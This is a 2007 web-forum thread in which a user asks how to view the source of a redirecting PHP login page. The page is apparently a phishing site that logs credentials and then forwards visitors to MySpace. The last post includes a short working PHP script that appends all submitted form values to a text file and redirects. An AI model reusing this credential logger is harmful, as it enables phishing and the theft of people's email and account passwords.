Cheezeburgar Posted July 19, 2007 Share Posted July 19, 2007 Their is a php redirection site, every time I go on it, it redirects me to a different website, I want to look at the source of the redirection page, but I don't have enough time to click on the view page source. Since as soon as I hit enter it redirects me to the redirection page. Is their away I can view the source of this page? Thank you for you time. Quote Link to comment Share on other sites More sharing options...
vbnullchar Posted July 19, 2007 Share Posted July 19, 2007 is this page can be viewed by public? whats the address? Quote Link to comment Share on other sites More sharing options...
hackerkts Posted July 19, 2007 Share Posted July 19, 2007 When you entered the site, quickly click "stop" and view source. Or you can just search for javascript view source. Quote Link to comment Share on other sites More sharing options...
Cheezeburgar Posted July 19, 2007 Author Share Posted July 19, 2007 When you entered the site, quickly click "stop" and view source. Or you can just search for javascript view source. This is annoying me, I tried the click "go" and "stop", but no luck. When I stop it, on the address bar I see the link of the website that redirects you, but when I view the source of the redirected website. ei; In the address bar it will say xxxx.com/k.php, but when I view the source, I see yyyyy.com's source. How the I do the javascript view source? Quote Link to comment Share on other sites More sharing options...
Cheezeburgar Posted July 19, 2007 Author Share Posted July 19, 2007 is this page can be viewed by public? whats the address? This is the site http://64.118.81.237/login.php Even when you click it, it takes you to myspace.com, I want to see the source of this page. Quote Link to comment Share on other sites More sharing options...
vbnullchar Posted July 19, 2007 Share Posted July 19, 2007 is this site yours? Quote Link to comment Share on other sites More sharing options...
Cheezeburgar Posted July 19, 2007 Author Share Posted July 19, 2007 is this site yours? LOL, dont you think I would know the source of the page, if this was my site. Quote Link to comment Share on other sites More sharing options...
vbnullchar Posted July 19, 2007 Share Posted July 19, 2007 you really cant see the source code of a php script unless its yours. Quote Link to comment Share on other sites More sharing options...
Cheezeburgar Posted July 19, 2007 Author Share Posted July 19, 2007 Oh, anyways thanks for the help. **Edit: Is their away I can disable php, so when ever my browser goes to a php page, it won't run the script through its system. Quote Link to comment Share on other sites More sharing options...
vbnullchar Posted July 19, 2007 Share Posted July 19, 2007 do you mean you dont want to see php created sites in your browser? Quote Link to comment Share on other sites More sharing options...
Cheezeburgar Posted July 19, 2007 Author Share Posted July 19, 2007 No, I just want to disable it so I can look at the source of this page, and once I am done I can simply turn it back one. Since once php is disabled, the site cant redirect me. Quote Link to comment Share on other sites More sharing options...
vbnullchar Posted July 19, 2007 Share Posted July 19, 2007 im sorry but you cant do that unless you are running the server that contains those php files Quote Link to comment Share on other sites More sharing options...
Cheezeburgar Posted July 20, 2007 Author Share Posted July 20, 2007 Oh, I'll try to some how force my browser to not accept the redirection. Quote Link to comment Share on other sites More sharing options...
dbillings Posted July 20, 2007 Share Posted July 20, 2007 There is a good chance that the redirect isn't php. The following meta tag placed in the head of a site will redirect a user to yahoo.com. <meta http-equiv="Refresh" content="0;url=http://www.yahoo.com" /> Quote Link to comment Share on other sites More sharing options...
vbnullchar Posted July 20, 2007 Share Posted July 20, 2007 ill bet its php script that initiated the redirect. if you view source login.php youll see this lines.. <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title></title></head><body></body></html> meaning no meta tags or javascripts used. Quote Link to comment Share on other sites More sharing options...
Cheezeburgar Posted July 20, 2007 Author Share Posted July 20, 2007 I am positive its php, since the code, is used for a phishing site, after you put in your email and password, and click submit it does that that website, which copies your email and password to a text file, and redirects you to the myspace home page, so you do suspect anything. The reason why I want to view the source of login.php is so I could know the name of the text file that its sending all the emails and passwords to. BTW this is what the scrip should look like. <?php header("Location: www.myspace.com"); $handle = fopen("xxxxx.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?> Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.